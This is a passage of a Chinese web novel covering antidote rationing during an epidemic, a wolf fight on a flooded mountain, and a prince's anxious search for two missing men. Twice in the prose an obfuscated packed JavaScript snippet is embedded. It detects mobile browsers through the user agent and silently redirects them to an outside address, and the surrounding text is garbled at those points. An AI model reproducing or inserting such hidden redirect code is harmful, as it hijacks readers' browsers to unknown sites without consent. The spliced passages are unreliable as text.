“不错,所以我还是坚持我的意见,先给东所。”三人在院中坐下,肖遥海继续说道,“现有的所有药材都还只是未经处理的,等配成解药后,它的量本就会再次缩减,四个所每人一份,根本就不够。但是如果全部给到东所,吃三天也够了。这第一批药来的慢主要在于寻找药源,开通道路,但往后就快了。我和水帮还算相熟,知道这季节长河近段不稳,不过再如何,最慢三天以后,水帮的第二条船就到了,急什么?” 石焉见外公面有愠色,此刻不过寅时,太阳尚未升起,月亮挂在半空,给初秋的严寒更添了几分冷淡,青灰色的石桌上结了一层水珠,致使三个人的脸色倒映下来,都有些扭曲。气氛似乎不同寻常,像是另外两人在来之前就发生了些意见的不同,果然听顾念怀道。 “肖神医,这不是我急,是益州的百姓急。他们已经在这样的病情下煎熬了数个月,而殿下来就是为了给百姓吃定心丸的,否则恐怕此刻这座城早已经闹起来了。”他叹了口气,平复了下心气道,“我能理解您的决定是为了救东所病人的性命,可是其余几所的病人理解不了,这样的决定在他们眼中是厚此薄彼,是不公与偏心。现在城里的治安本来就紧绷于一线,全靠将军府和王府的士兵威力震慑,一旦这三所情绪崩溃闹起来,说不准就会出人命,若这乱象再传到朝廷去,那殿下的所有努力就都白费了。” 石焉见外公似要反驳,她怕他说出些什么收不了场的话来,便急忙插嘴道,“顾大人,这事我赞同外公的意见。解药五服为一个周期,一人一副是没有用处的。既然如此,相较其他三个所本来症状就较轻的病人来说,如果药有限,不如先用来给东所这些最为严重的病者救命吧。” 她因为染病之故说话时喘的厉害,还不时咳嗽,但仍然坚定地看着顾念怀的眼神,继续道,“在外公来之前,东所每天都有人被盖了白布拉出去,但是从外公来了之后,在东所,还没有新的死亡发生过。这不是因为他们的身体状况好转了多少,而是因为大家的心里都相信肖神医的名气,相信肖神医这三个字所带来的力量,因此他们振作着,对抗着。 但是作为大夫而言,我们心里十分清楚,这样的心志可以带领他们熬过一时,却不能解决实际问题。毒疫是有明确的反复周期的,一旦我们不能赶在下一次反复到来前让他们服用解药,他们随时都可能会死。 按你所说,如若这药不给到另外三所,他们是有可能闹起来。但这药如果不尽快给到东所,那这些症状急迫的病人可能连看他们闹起来的那天都熬不到。 我愿意把我的那份解药让出来先给东所的病患,我相信其他三所里的人,像我这样想的,亦不会在少数。” 她深深喘了口气,“或许我们不应该先入为主,低估百姓民众的善良和气度。” 说罢,她从袖里抽出自己的随记,翻到后面几页递给顾念怀,再道,“这是我这两天凭记忆所写的东所所有病人近十天的诊籍,你可以看看。他们能熬到今天,真的很了不起。” 一行大雁适时地从头顶飞过,秋风起,天愈凉,比起寒冷的北边,它们自然要来南方过冬。 在荒山上的第六天,江南与郭少征虽然饥饿更甚往日,但两人的心志却比前几天要更坚强许多。再熬一天就是第七日了,按理如果一切顺利的话,屿王明天就能到了。 江南早起后,如常运转完一周内力,便出去采摘新鲜野果。他见郭少征还闭眼睡着,便没惊动他,一个人悄悄去了。 两人已经连着几天仅靠啃食酸涩野果充水果腹,他一直走了许久,也并没有发现什么新的野果种类,似乎这山中树上唯一有的就是那些半绿不黄的硬果,他正犹豫着还要不要继续寻找时,前方地上出现了几簇淡粉野花,看起来倒是可口。 走上近前,蹲下身来,便可闻到阵阵芳香,这花统共就这么一片,他打算全部摘了。 然而正当他专心摘花时,却突然听得身后近处疾风劲响,还伴有尖锐的磨齿声和粗重的喘息,他猛地转过身去,只见一条与人同大的公狼已朝他扑来,那狼腾在空中,血盆大口已经近至眼前,它正意欲用嘴边的两根锐利獠牙,来咬断自己近在咫尺的咽喉。 “哗啦”一声,江南本能地将手中现有的东西直接冲着它扔了过去,一大捧鲜花花瓣瞬间在巨大的冲力下散落在空中,洋洋洒洒飞了漫天,若是没有凶狠的恶狼穿跃其中,本该是副美丽的如画情景,然而下一刻,那花瓣一半就径直被狼吞入咽下,一半掉落在了其身后地上。 江南趁乱花迷眼,迅速后滚,翻身到了侧面,几乎是与此同时,那狼就扑到了他原本所蹲的位置。 一击不中,它立刻转过身朝向江南,凶残地龇着獠牙,恶狠狠地盯着对面的食物。而它的身后,又慢慢走出来三只野狼,显然,这只袭击江南的,就是头狼。 江南慢慢曲下身子,摸出靴筒侧面的匕首,右手握刀,横肘于面前,以一个随时可以进攻的姿势,同样盯着对方。他心里惊魂未定,并非是因为野狼的突袭,而是因为这群狼的靠近他竟然完全无知无觉,直到头狼扑到身后咫尺,他才听到声响。 几天的食不饱腹,体力必然下降他是知道的,可听觉竟然也退步到了这种地步,不得不让他更加警惕。 头狼的身姿再度伏低,那是它准备进攻的姿态。 在绝对力量不占优势的情况下,只能拼速度了。快是所有取胜的唯一通则。江南心里又想起了师父的话。 “与敌对战,快是所有取胜的唯一通则。要让自己的一招一式都赶在对手前头,要预判对手的出招,要打得他冒不了头。而要想知道对方的招数,就要盯紧他的眼睛。眼神说不了谎,他准备攻你左盘,就会先看向你的左盘,准备抹你脖子,就会先看向你的脖子,一个人瞎了眼睛,就没有胜算了。所以,盯住对手的眼神,就能让你的快,发挥到极致。” 头狼眸中凶光一闪,再度扑来。 江南拇指用力,刀鞘应声推出,飞落至一旁地上。他后脚前踏一步,迎难而上,一人一狼随即在半空中正面遭遇。 江南横起一脚,踹中头狼腹部,同时用右手中的刀,直直向狼首扎去,头狼腹部受力,原本拉长的身躯弓了起来,而它为躲尖刀,本能地向左面偏过脑袋,却正中江南下怀,他顺势掷出匕首,用左手迅速接过,毫不停留,紧接着就以迅雷不及掩耳之势插进了头狼的眼中。 整个动作在空中一气呵成,快如闪电。 头狼眼处的血液喷薄而出,溅得江南的面颊、衣襟,到处都是。他右手抓着狼皮,左手握着刀把,跪骑在头狼的肩膀处,与之一起从半空坠落,重重摔在地上。 头狼倒在地上,喘息不已,江南下意识企图拔出匕首,再补一刀。 然而他不知道,匕首在刺入时正巧卡进了头狼的眼眶与额骨之间,此刻斜插在两块硬骨中,一时竟拔不出来。而狼也因为头骨被刺入,仅抽搐了两下就很快咽气了。 可危险没有随着头狼的死去而消失,他周围的另三只狼,还在龇牙咧嘴地蠢蠢欲动。 江南心中着急,手上便也加劲,只盼快速拿出匕首,可匕首却丝毫未动,殊不知这匕首卡的位置甚是巧合,转转位置或许就能轻巧取出,但像现在这般蛮力硬拔,倒叫它卡的更牢了。 眼瞧着那三头狼已经一齐向自己奔跑过来了,他只得放弃匕首,拽起头狼尸首就向其中一条扔去,砸开那条后,他又随手捡了根树杈再次刺向其中一条的眼睛。这回对方却不买账了,有了头狼的经验,它聪明地腾跃起来,错开高度,张嘴就咬下树杈,“咔哧”一声,转瞬就被其咬成了两段粉末。 两条狼来势不减,继续向他冲来,眼看还有一步该被撕咬的就是他了,江南除了自己的双掌再没有别的武器,只能用尽全力,放手一搏。他脚下一踩一跃,同时沉气于胸腹,运力至掌端,五指合拢,猛地向外推出,双掌便结结实实撞在两条狼的额头上。 而这一下的力道,江南自己也没有想到。 他眼睁睁看着两条狼的皮毛依旧完好,掌上的触觉却清晰感到两狼头骨已在里面碎裂开来,甚至数步以外的几颗高壮树木,均微微摇晃而散落了一地绿叶,不用说,两狼的五脏六腑也必定全部震碎了。 而江南自己体内,并没有出现预想中因使出全部力气而有的虚空与耗竭,反而尽是舒畅与自然,这种游刃有余的变化,代表着一个巨大的好消息。 他体内的的横逆心法,已经能掌控七成了。 两条狼瘫软地趴在地上,当即毙命,而另一条狼见状如此,便快速调转方向,扭头逃命去了。 江南站在原地有些愣神,本来对于遭遇狼群这样的事情,若换了从前,他必定不会放在心上,不论是正面抗敌,还是轻功避开,无非是看他想怎么选。可换了此刻,他连头狼的袭击都察觉不到,就别说接连应对狼群了,他抱了两败俱伤的信念,胸中是一点把握也没有。 可是就是在这样的绝境下,人的潜力往往才会被激发。 一连数天,饥寒交迫,他每日所求不过是活命的基本需求,根本没意识到横逆心法已经化作了他的隐性潜能,他的掌握每日都在精进。从前空有雄厚内力,然而只能使出来三四分,以至大部分都沉在体内深处,无从施展,现在却已经可以使出七分多了。而若非在此体力与精神双重受到重挫的境况下,想必他运用的还能更加自如。 江南低头看着自己的双手,从不可置信,到惊讶狂喜,他心中激动不已,迫不及待想找人分享。 他想告诉石焉,石难黎前辈教给他的方法他每日都在坚持,让他受用匪浅,今日终得大进,有机会定要去当面致谢。 他想告诉屿王,自己没有辜负他的期望。虽然困在这儿这么多天误了差事,但也算得到了意外收获,往后为王府执行差事,帮助殿下大业,定有更大助益。 他想告诉师父,自己可以驾驭横逆心法了,他一定会更加倍努力,早日将十成内力,都熟练化为己用,他不奢求师父的表扬,只盼望到了那时,师父是不是就会愿意告诉他,自己从一出生就带有的横逆心法,和已故将领林惊时,之间的关联与秘密。 他想告诉阿北和山黛,他的武功或许已经可以和武林顶尖高手一战,她们日后若再想闯荡江湖也好,便再也不怕被人欺负了,他们卷云洞的名号,也不用怕被人瞧不起了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253668|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间心绪万千,江南恍惚之下猛然抬起头来,才忽觉自己仍处洪水荒山之中,除了满地的尸体,和卷入泥灰之中的落花,只有他自己。 他满心的欢喜,能说与谁听呢? 好在他一向习惯应对这种局面,当下就回过神来,去将地里剩余的野花全部摘了塞入怀中,又握着剩余放不下的两束,去到头狼旁边左右掰了掰它的脑壳,按劲转动几下,终于将匕首取了出来。他左右手各提了头狼和另一只相对体格较大的狼身,往回而去。 他现在该考虑的,是如何活着度过今夜,而非对未来的幻想与期冀。 另一边郭少征正左等不回江南,右等也不回,心里觉得不对劲,却又不能贸然离开,只好牢牢地盯着林子往里的方向,直到他的视线中,终于出现了一个从林深处走来的身影。 现在是正午时分,阳光穿透树叶间隙直射下来,让空气中飘忽的浮尘都显得格外清晰,郭少征挥了挥眼前浮灰,看着不远处那道身影的轮廓虽然逆着光,还是能一眼认出正是江南,然而对方手中还提着两只庞然大物,这情景叫他不得不觉得有些诡异。 等人走近,他看清了江南手里提着的两头狼尸,指间掐握的淡粉花束,身上粘连的斑斑血迹,怀中冒出的晃荡斑影,最反常的是他脸上居然还带着一丝笑意,使得场面更加诡异。 “什…什么情况?”郭少征问道。 “今晚我们有被盖了。”江南脸上还混着血与土,他露出一个灿烂的笑容,道。 两人席地而坐,江南用早上所接的露水净了净手上血污,便开始将他采摘回来的野花各自分了一半,供两人吃食。 “这玩意颜色鲜艳,不会有毒吧?”郭少征抓起一把,看起来有点犹豫。 “应该不会,我先给头狼喂了点,它看起来没事。” “你确定它看起来没事?!”郭少征看着头狼残缺不全的头骨,他质疑道。 “在被我打死之前,没事。”江南边说边塞了一把到嘴里,像怕他不信似的。 “罢了,被毒死也比给那个果子涩死要好。”郭少征说着,也嚼了一把,道,“确实好吃多了。” 两人苦中作乐,企图忽视这些花瓣纵使量大,然而比起果子,也都是半斤八两顶不了多少饿的事实。 凑合完一顿后,江南便开始处理两头狼的尸首,要把狼皮完整地剥下来,并不是一件容易的事。他用匕首从狼腹开始,先大刀阔斧地竖直拉开一条敞口,再沿胸口,前肢,缓慢谨慎地一步步划到肩颈,后背,从一只,到另一只。 郭少征就是在这时才真正看透江南的眼神。他手里在做着的事,不失为一件酷刑,可他看着手中的匕首,眼里除了细致与认真,根本没有任何其他的东西。他的眼神中,既没有嗜虐着施暴时的残忍与狠辣,也没有大部分人身上对待生命逝去时的不忍与痛心。他好像只是在做一件平常且普通的事。 原来他眼中的见底,不过是一种钝性。而这种钝性,来自一种习惯,一种见多,一种活物频频逝去在自己刀下,而带走的对生命本该有的敬畏。 郭少征于是打断了他手里一心沉浸的工作,随意谈道,“你摘回来的野花统共就那么些,为何不吃完?还要剩下一枝?” 江南没有回话,只是手里的匕首顿了顿,他看看郭少征,见后者正好整以暇地看着自己,便不打算说话,他又低下头去,继续手里已近收尾的任务。划完最后这段皮囊,两身原装的狼皮大氅,就做好了。 “你以为我没看见?”郭少征爽朗地笑道。 他刚才分明看见,江南在吃之前,从自己那一堆花枝子里,挑了最完整的一枝,小心翼翼又揣回了衣襟。 “你…” “大人,您要带头的还是不带头的?” 郭少征刚打算接着追问,江南便率先开了口。他已经停了手里的小刀,举起两件狼皮,其中一件连同狼头狼脸都割了下来,全须全尾,几乎没什么破损和断裂,的确可以称得上是刀法精湛。 “……” 短短几天,郭少征第无数次感到自己的一片暖心,又砸在了死水上,他冷哼一声,道了句“我要没头的。”便抱了自己的狼皮回去。 “大人!” “还干嘛?” “那我前几天给您御寒的披风…是不是可以还我了?” 江南话音刚落,便看到一块黑色布料飞了过来,他一手的狼毛,还在犹豫怎么接,那布料已然正好盖在了自己的头上,还带着余温。他尴尬地用手背顶开披风一角,看向这位他不知怎么的又得罪了的郭大人,对方却已经暖和和裹着狼皮躺下了。 这一夜,也不知道是由于狼袄的缘故,还是因为终于盼到了第七天的到来,两人睡得总算暖和多了。 一夜过去,第七天到了。 江南一如既往起的很早,他睁眼时,却惊讶地发现郭少征也已经醒了,这倒是难得。两人商议过后,决定郭少征留在原地,上树以避剩余的野狼,江南则到临近山下的地方等着,若屿王派的人寻来了,他也好第一时间看到。 可这一等,就是一整天。 屿王府的人没来,任何人都没来。 山下只有近人深的水,许多漂浮其上的树枝,和残缺不全的落叶,远处原本的车道已经被淹没而看不见了,黑夜浩渺下,另一方向的南郡和青州都点起了灯,高高伫立在百里外的城州上,江南不知道那里的情况如何,他只知道自己和郭大人的希望,好像一下子垮了。 29. 第五章第十节 三天前屿王营帐 “李为衷!” 一声急喊从主帐内传出,门外立刻匆匆走进来一名带刀军官,他行了个礼道,“属下在。” 昨天本该是江南送完郭少征回来的日子,但沈谛祝直到次日早晨,还是不见江南踪影,他因此才召来府中一名这次随同而来的典军,问道,“最近几天都点人数了吗?” 那名叫李为衷的典军不明所以,回道,“每日都点。” “那江南消失了这么多天,你都不知道吗?!”屿王怒道。 “回殿下,”李为衷今年二十几,他作为从沈谛祝封王建府起就在其身边的人,也作为府中最高级别的武官,他不是不知道王府里的册子上有个军官名字填了江南,占着校尉的名义,可府里哪次出巡,都没有过这位校尉的参与。他实则是殿下的暗卫,是府里的刺客,是除了几个头领以外,谁都不知道的隐辛秘事。因此这号人的身份,他虽心知肚明,却一向讳莫如深。屿王也从没向他谈到过,这次竟放在明面上提起,他心里有些惶恐,道,“他……他不是一向直接向殿下您禀报的吗?” 屿王当然知道江南只受自己的直接委派,他此刻只是把李为衷当作了个靠得住的下属,抓来出气罢了。 “他送郭少征,以王府校尉携益州医士采买一种仅当地才有的药材之名,前往青州,本该今天就回来的,可到现在连个影子都没有。”屿王压制着声音,他道,“他从来没有完不成任务过。” “去探!”屿王的眼神突然凌厉地向李为衷射过来,“去查从此地到青州,发生了什么事!” 李为衷听到话里的那个名字,想起那是屿王在京城临出发前,曾提起过的要接回金陵的一个极要紧的人,而他的身份,要求是完全保密的。不用想也知道,那人定和太子有着极大关联。李为衷作为一名长久跟随屿王的典军,他知道自己不应多问,于是答了声“是!”便领命去了。 然而他走出营帐没几步,就碰上了刚要来向他请示消息的士兵,那士兵道,“大人,收到消息,长河南郡一带四天前决口了,是否要向殿下禀报?” “什么?” “什么?” 李为衷听到一声与自己同样吃惊的声音从身后传来,他转过身去,看到屿王半掀了帷帘站在帐口。他显然是听到了这段话。 从益州到青州,是势必要沿河而行的,南郡一带,也是必经之地。 而他分明看见总是深不可测的屿王眼中,出现了不加掩饰的担忧和恐惧。 “南郡情况如何?”李为衷转头向那士兵问道。 “郡内还好,毕竟地势高,离决口地带又还有些距离,大水到的时候已经减弱不少了。来报的当地士兵说,那段河道近年来的决口尤其频繁,约有十数次不止,因此原本住在那里的百姓都陆陆续续搬进郡城内了。所以他们才并未加急来报,一是百姓都还好,二是殿下治疫,怕扰了正事。所以现下统计好了确切伤亡之数,确定无人因水而亡,才来禀报以让殿下安心。不过郡外沿河地带大多已经被淹,这次的决口,算是较往年历回最严重的一次,否则以南郡的地势,大水很难灌进去。” “李为衷…”屿王从帐内慢慢走了出来,但他的声音却急切不已,“本殿要你即刻出发,带一百人马,去把人给我找回来!” “殿下,现在随行的人马一部分在益州城里助赵将军维持治安,从小顾大人递了新近所需的药材清单出来后,其他数百人都派去各地买药和运药了,现在剩下的总共才不过五十人…” “那就全部派去!” “可这五十人是为了保护殿下您的安全的啊…” “那本殿就和你们一起去!” 一个江南,一个郭少征,缺了这两个人,他往后的路将寸步难行。 “殿下,可若咱们倾巢而出,还如何保密?太子得了消息,一定会起疑心。”李为衷挥挥手让那报信的士兵退下后道,“不若就说校尉大人和那位医士,是与我们因为洪水失去了联系,而殿下您体恤下属,才沿路寻找。” 屿王冷笑了声,下一句话就让他哑口无言。 “什么人?能让本殿亲自去寻?” “别再考虑什么保密了,现在一切都以最快找回他们两人为最重要的事。传令下去,立刻出发。” 而这趟路,一行就是三天。 此次寻人事出紧急,他来不急做天衣无缝、万分周全的安排就领兵出发了,众人一路虽不曾下榻官栈,进驻食店,但一行近五十人的队伍,骑的都是朝廷战马,穿的都是锦衣华服,势必是不可能保密的了的。然他还是尽力隐藏行踪,亲自带领士兵们一起将吃喝睡眠都凑合在路途中,就是为了避免因不必要的高调而引起的多余插曲,节省所有能节省的时间,尽快找到他挂念的两个人。 沈谛祝带队骑马,本应比江南拉车架要快上许多,然而一路泥泞,洪水侵袭的痕迹显然对周边也造成了或多或少的影响。于是他们还是花了三天才刚刚来到南郡城外。 且除此之外,李为衷在路上不止一次地发现有许多“尾巴”跟在他们的队伍后面。沈谛祝派人抓了几个五花大绑起来,丢在路边,又故意带队在夜晚露宿无人的荒地,叫“尾巴”没处可藏,从而再甩了几个。然而当他们途经新的州郡时,又会有全新的“尾巴”跟上来。 因此在快到南郡时,他悄悄吩咐李为衷,命他独自乔装改扮,先行快马往前,在不要透露身份,更不要以屿王府之名义的前提下,旁敲侧击,多拐几个弯地向城门侍卫打探消息。 “那您呢?” “你只管听我的,以最快速度去就是了。” 这一路他强自镇定,绞尽脑汁。原本郭少征是对抗太子最好的一步棋,他不能赌。即便一场洪水,一次倾巢出行,足以让太子起疑。但他若不来,或者若只派了少量人前来寻找,的确可以神不知鬼不觉地不叫太子眼线发现,然而江南二人被找到的速度就会又慢一分,生的几率就会又少一分。因此现在,沈谛祝只有尝试在现有的境况里,尽量使每一步都走得能尽可能减少日后对太子有利的局面。 然而即便如此,再故作冷静,也改变不了他心中早已兵荒马乱。他此刻远远乘马立在南郡城外的高处,心里焦急万分。他不是不知道洪水的厉害,如果江南二人真的走的是南郡城外的野路,恐怕此刻已经不知道被大水冲到哪去了。他在心里祈祷了一万遍,进南郡,进南郡…… “殿下,打听过了。没有马车,也没有穿官服的人进过城,他们没有进南郡。” 咚! 李为衷带回来的消息如同一块巨石砸在沈谛祝头顶,叫他一下子如坠冰窟,他阂上双眼,他的眼前却浮现出许多模糊的人影来,在这一瞬间,他们纷纷向他走来,不仅有死去的江南和郭少征,他还看见了双目无光、无力回天的自己。 那个自己对他问道:“难道你与太子之争这就要输了吗?” 可是还不到最后,这远远还不到最后! 屿王睁开眼睛,他深深吸了口气,道,“李为衷,你先派十人,进南郡,见刺史,让他立刻给金陵写信,奏报朝廷,给我如实表明这里的情况,不许再加隐藏,不许文过饰非。这地方决口得如此频繁,朝廷却因从未接到过任何的上报而对此一无所知,简直就是荒唐!” 最后的理智仍然促使他在措辞中尽力为朝廷是因不知才无为而遮掩开脱,然而语气中夹杂着强烈的怒火却是如何都克制不住的。 这愤怒里还有对他自己的。若不是他们对此地情况懵然无知,又怎会在规划路线时不知道避开这条路,江南又何至于把刀尖上屡屡博下来的性命却葬送在此?!他相信赵将军一定是上呈过水患的,然而他深居庙堂却从未接到过奏报。明明他的岳丈就是治理水患的第一人选,若不是太子为了防止他立功,又怎会累得沿河百姓屡屡搬迁避祸?可恨他自己身陷纷斗,竟也忘记了争夺权力的初衷应该是心系百姓,于是他没收到奏报,就也未曾主动关切。明明水帮日日行船,可他们专于运货,回回只向自己报“殿下放心,必定按时送达”,水帮认为水患是朝堂事,自当有通道上禀,他竟然也就安坐帐席之上了。可朝堂,派系官吏,包括他自己,上不正,下参差,根本就是一塌糊涂。 “另外,你着人立刻再写一封信,着亲信快马送回王府,不必经由沿路任何旁人插手,直到交给王妃。让她请祝大人届时请命亲自来南郡重修水利,治理河患。” “其余人,把筏子准备好,休整片刻,随我沿城外的路出发,再找!哪怕在水里捞,也要把尸体给我捞出来。” “是!” “殿下,还有一事。”李为衷各自交代好人后,换回自己的官服,他走至屿王马下,道,“是否需要再派人去青州通知一下王将军?恐怕他还不知道殿下正在此寻人,也不知道原先有两个人要去青州找他。这样也好请他多派人手一同来找?” “不必,他若来了,动静就真的大了。南郡到底还属于益州管辖,不是他青州的地界。他不像你我,出行能够乔装遮掩,他一旦带兵离城,就决计瞒不了朝廷。一个校尉一个大夫,何须动用邻城将兵?况且对他,我有另外的安排。” 沈谛祝捏捏眉心,他乘于高头大马,一身玄衣低调,然而此刻双手冰凉,双脚套在马蹬上也有些隐隐发麻,面上是掩饰不下的焦虑与不安。 他从来也不怕给江南下九死一生的任务,他一向只把他当一个死士不是吗?从第一次把这个八岁的男孩挑进王府,他的母妃就告诉他: “驭下有道,在于必须忍心和狠心,若想走这条争储的荆棘路,就要随时做好身边人全部为自己牺牲的准备。不可回头,不可心软。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253669|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可当这一次,江南真的再也回不来了的时候,他还是感到了那样的恐惧和孤独,原来现在的他还没有做好准备。 他眼前似乎又浮现出了母亲教导他时的面孔,那张温柔娇软的脸下,是冰冷绝情的声音,和只有他才知道的残忍与狠辣。只是他一向把母妃的话奉为圭臬,因为她就是那样,从宫女成了皇妃。 于是他当时点了头道,“母妃,儿臣答应您,这条路,我绝不回头。” “好,我答应你。” 一日前益州将军府 顾念怀终于答应了石焉和肖遥海的要求,第一批的所有药品,先紧东所供应。 “但是我有一项条件,要言明在先。”顾念怀道,“只给东所解药的事我会叮嘱赵将军和几位大夫,最好只有我们知道。但是谁也无法保证这消息捂得住,所以直到下一批药到来之前的这段时间,如果,我是说如果,其他三所的人闹起来了。” 他看向石焉,“此事与屿王府无关。” 他继续将话说的更直白,“我的意思是,解药我已全力争取过了,这就意味着屿王府也表了态,我们的本意是一视同仁。但研制出解药的人是石医官你,这份功劳属于你,也独属于你。因此能做决定谁先服用的人,也是你。在此事上,屿王府与你,立场不同,无法为谋。” 石焉眼中有一丝意料之外的惊诧,她依稀记得在来益州的第一天,自己是代表王府入城的,可一个月的时间,她就被与王府割除关系,划清界限了。 除了不可置信之外,她甚至来不及感到失望,先充斥而来的是坐立难安的尴尬与不自在。原来一直是她自作多情,明明自知一切都和儿时不同了,却还是忘了把思考事情的习惯改变过来,就像她自以为屿王对她挽留,王妃是她好友,因此她就可以随意用王府的身份和名义,自说自话便来到益州,打开城门。可她忘了,这一切的前提都是她做的事对王府有利,一旦违背了利字,她随时可以被抹去。石焉此刻才恍悟,从王府的角度看来,她应该更像一个合作者,从来也不是自己人。 顾念怀在看到肖遥海的眼神变得不善后,先站起来,他鞠了一揖道,“世事瞬变,未有穷期,万望…理解。” 她当然会理解了,只是无法认同罢了。她不知道眼前这个从小一起玩闹的小顾,到底是变成了这样,还是她从未看清过他。 如果说看清对于顾念怀和王府的认知算一个坏消息的话,那么石焉身上的毒疫在三天后就自愈了,则可以称得上是近期以来唯一的好消息。 第三天早上,石焉一醒来便感到身体松快了许多,胸口堵塞之感也有消退,喉间也不再有疼痒之感。她摸摸颈间佩戴的金鳞虫,她知道又是它帮了自己。翻身下床,走到桌案前,她小心从玉坠中放出金鳞虫,又转身从包袱里拿出榫卯机关盒,抽开底层,用手指轻轻铺扫开金黄色的龙崖草,将金鳞虫放入其中吸食养分。 石焉之所以百毒不侵,便是受赐于这只金鳞蛊。其乃石焉外婆,即央月教再首任圣女,按教中藏书,用自己的灵肉血脉,佐以百毒之首淬养出来的蛊虫,虽没有控制千里之外的能力,但已经是能守护央月教不灭的至宝。而石焉出生便按圣女继承之法与万蛊之王金鳞蛊同养,与其合而一体,因此这才不惧诸蛊也不惧百毒。 她自觉已经病愈,亦确定不会再染至他人,这才卸了厚重门帘,踏出院子。 今日阳光倒好,走在府内的青石路上丝毫感觉不到秋日的寒冷,或许是心情与天气同明媚着。这几日肖遥海每日从东所而回带来的消息都是“已有起色”,而另外三所也完全没有泄露秘密、引发骚乱的迹象。 她重新从腰间摸了块干净的围纱系上后,便往府门走去,今日是第三日,第二批药材今天下午就该到了。她也有十二天未曾出府,今天自然应该前去看看,看看已有起色的病人,看看研制的解药效益,看看这段时间顶下担子的大夫们。 然而她一路轻快,刚走至摆在府门前的巨大迎客松后,就被眼前的景象震慑住了。 她看到门口聚集着大量的人,而赵将军和许多士兵正拿着长棍,横在那些已经把府门堵的严严实实的人群前。那些人她不认识,看着装应该都是城里的百姓。 石焉没意识到危险,她藏在巨大的迎客松后,又慢慢往前走了两步,她想听清那些人张大的嘴巴里,都在说什么。 透过迎客松疏茂有致的枝桠间隙,她听见那些人声音不大,甚至充满了冷静,却字字诛进她的心里。 “赵将军,你日日在这拦着我们有什么意思?” “我们啊,倒也不是想为难你。大家不过是想见石医官一面。” “我们这都来了三天了,连她的影子都没见到。” “石医官既然敢做偏私的决定,又何必天天躲在将军府里当缩头乌龟?!” 30. 第五章第十一节 第九日 郭少征和江南困在这荒山上已经整整九日了。昨天是怎么过来的郭少征已经不记得了,他只记得第七天的中午,江南失魂落魄地回来,给他带了两个野果,而后又一言不发地去继续等。直到晚上再次回来,带着和中午时一样的表情。 他知道,救他们的人没来。 于是昨天一整天,两人默契地没说一句话,都维持着一种奇异的灭亡前的平静。反正嘴裂有露水,天冷有狼皮,腹饿有…郭少征顿了顿,他想,原来肚子饿还能用意志来抗,现在是真的什么都没有了。 这一夜,他几乎是没有睡着。他闭着眼,感觉着天一点点从暗到亮。 等到当天早晨约丑寅交替的时间,光线刚开始散发出它的威慑力,树叶尚未变黄,层层叠叠的,被白色的晨光罩了一圈晃动的晕。 今天的阳光很好,本该是一个秋日里舒适的温暖天气。郭少征微微把眼睛睁开了一条缝,懒惰颓丧地看着这个荒山最后的样子。 在他的对面,江南仍然已早早起来了正在运功练气,不管是因为他又振作起了精神,还是只是因为习惯难以改变,郭少征都不由得对这个少年又多了些另眼相看。 他是个家破人亡、生无可念之人,甚至在像江南这么大的时候他就早早体验过了功成名就,又在五十五岁这年骤然跌的粉身碎骨,赔尽了妻儿子女的性命。 然面前这个少年,却到底还是年轻,对于世间的期盼还有很多,他想活下去的意念,比自己可要强得多了。 郭少征的眼睛有些微酸,他将视线眯的更窄了些,看到江南练功完毕,却坐在原地没有动,似乎是在想些什么事情,而随后他看到后者从腰间抽出了那把匕首,又轻轻推开了鞘,磨了磨刃面后,转头向自己的方向看来。 他心里一惊,不动声色阖上眼睛,装睡的功夫他一向娴熟。 身周的地上还有那两匹狼被拖行的痕迹,不远处的泥里还埋着它们的尸体,甚至空气里还充斥着狼皮的兽味。郭少征几乎是一下子就明白了江南的意图。狼毛纠缠,狼肉血腥,狼血黏冷,没有火烤,硬吃下去说不准反倒会致人生病、然后加速死亡。 这一切,哪有他郭少征的血温热、肉干净呢? 他此刻虽然胸中砰砰直跳,但仍然想着:若江南为了生,要来喝自己的血,吃自己的肉,他也不怪他。他是一个没有未来,也失去了过往的人,不如把生的可能留给年轻人。 眼睛虽闭着,但仍然不妨碍他感受到光亮,然而这光亮,正一寸一寸地被自己头顶所笼罩下来的阴影吞噬。 他正在朝自己走来。 “什么人?!” “殿下,殿下,您做噩梦了。” 沈谛祝从噩梦里惊醒,他的声音不大,但还是让同样昏昏欲睡中的李为衷一下子就警觉地醒了过来。他递过来一张帕子,沈谛祝抹了抹自己额头处的虚汗,深深喘了口气。 屿王一行从前日离开南郡城外后,便开始沿城外路径搜索,然而水路难达,通行不堪,他们人力有限,进度不支,一天一夜之后,仍然什么踪迹都没发现。又由于洪水横流,四处泛滥,长河一处的决口连连引发多处断裂,一行人沿路寻找,直到昨晚入夜,才找至江南车马按原计划该行到的位置,也就是长河最初决口的中心,江南二人差点被冲走的地段。 这期间有士兵问过李为衷,他们到底在找谁?竟然名字不知,长相不知,等衔不知,简直就是一问三不知。若是给个画像,也能加快寻找的进程啊! “这里除了殿下没人知道他长什么样子,你让殿下去给你画像?再说了,荒郊野外,你找这么久可曾遇见过一个人吗?连人都没有,何须辨别长相。” 说罢李为衷见那士兵缩着肩膀不吭声,一副愣头愣脑的样子,遂扯扯自己胸前的衣襟,道,“见到和我穿一样衣服的就是了!” 于是众人又找了一夜,临到了后半夜,大家实在困倦难顶,这才刚刚停下休整一会。 李为衷道,“殿下,你定是忧心太过,才会发噩梦。” 